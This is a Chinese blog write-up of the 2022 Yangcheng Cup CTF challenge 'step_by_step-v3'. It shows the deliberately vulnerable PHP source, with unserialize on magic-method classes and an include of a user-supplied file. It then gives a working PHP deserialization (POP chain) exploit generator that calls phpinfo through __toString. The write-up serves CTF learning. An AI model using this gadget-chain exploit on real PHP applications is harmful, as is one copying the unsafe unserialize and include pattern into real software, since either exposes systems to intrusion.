step_by_step-v3

155 阅读1分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

2022羊城杯step_by_step-v3复现

<?php
class yang
{
 public $y1;
 public function __construct()
 {
 // $this->y1->magic();
 }
 public function __tostring()
 {
 // print('3');
 ($this->y1)();
 }
 public function hint()
 {
 include_once('hint.php');
 if(isset($_GET['file']))
 {
 $file = $_GET['file'];
 if(preg_match("/$hey_mean_then/is", $file))
 {
 die("nonono");
 }
 include_once($file);
 }
 }
}
class cheng
{
 public $c1;
 public function __wakeup()
 {
 print('1');
 $this->c1->flag = 'flag';
 }
 public function __invoke()
 {
 $this->c1->hint();
 }
}
class bei
{
 public $b1;
 public $b2;
 public function __set($k1,$k2)
 {
 print('2');
 print $this->b1;
 }
 public function __call($n1,$n2)
 {
 echo $this->b1;
 }
}
$c = new yang();
$c->y1 = 'yang::hint';
$b = new bei();
$b->b1 = $c;
$a = new cheng();
$a->c1 = $b;
unserialize(serialize($a));

通过题目分析,

$a = new cheng();
$a->c1 = $b;

new创建一个cheng对象,->符号对c1进行调用,然后=$b. 刚开始的时候unserialize触发_wakeup方法,

$b = new bei();
$b->b1 = $c;

new新建一个bei对象的时候,然后对b1进行调用,=$c.在这里出发_set()方法 __set()  用于将数据写入不可访问的属性

$c = new yang();
$c->y1 = 'yang::hint';

新建一个yang对象,然后对y1进行调用 $c的对象是字符串'yang::hint'。new yang对象的时候调用_construct方法。又因为对象是一个字符串,调用_tostring方法,php中的::是调用类中的静态方法或者常量,然后调用hint方法。读取hint.php。

现在开始构造序列化

<?php
error_reporting(0);
class yang
{
    public $y1;

    public function __construct()
    {
        $this->y1="phpinfo";
    }
}

class cheng
{
    public $c1;

    public function __construct(){
      $this->c1 = new bei();
    }
}

class bei
{
    public $b1;
    public $b2;

public function __construct(){
  $this->b1 = new yang();
}
}

echo urlencode(serialize(new cheng()));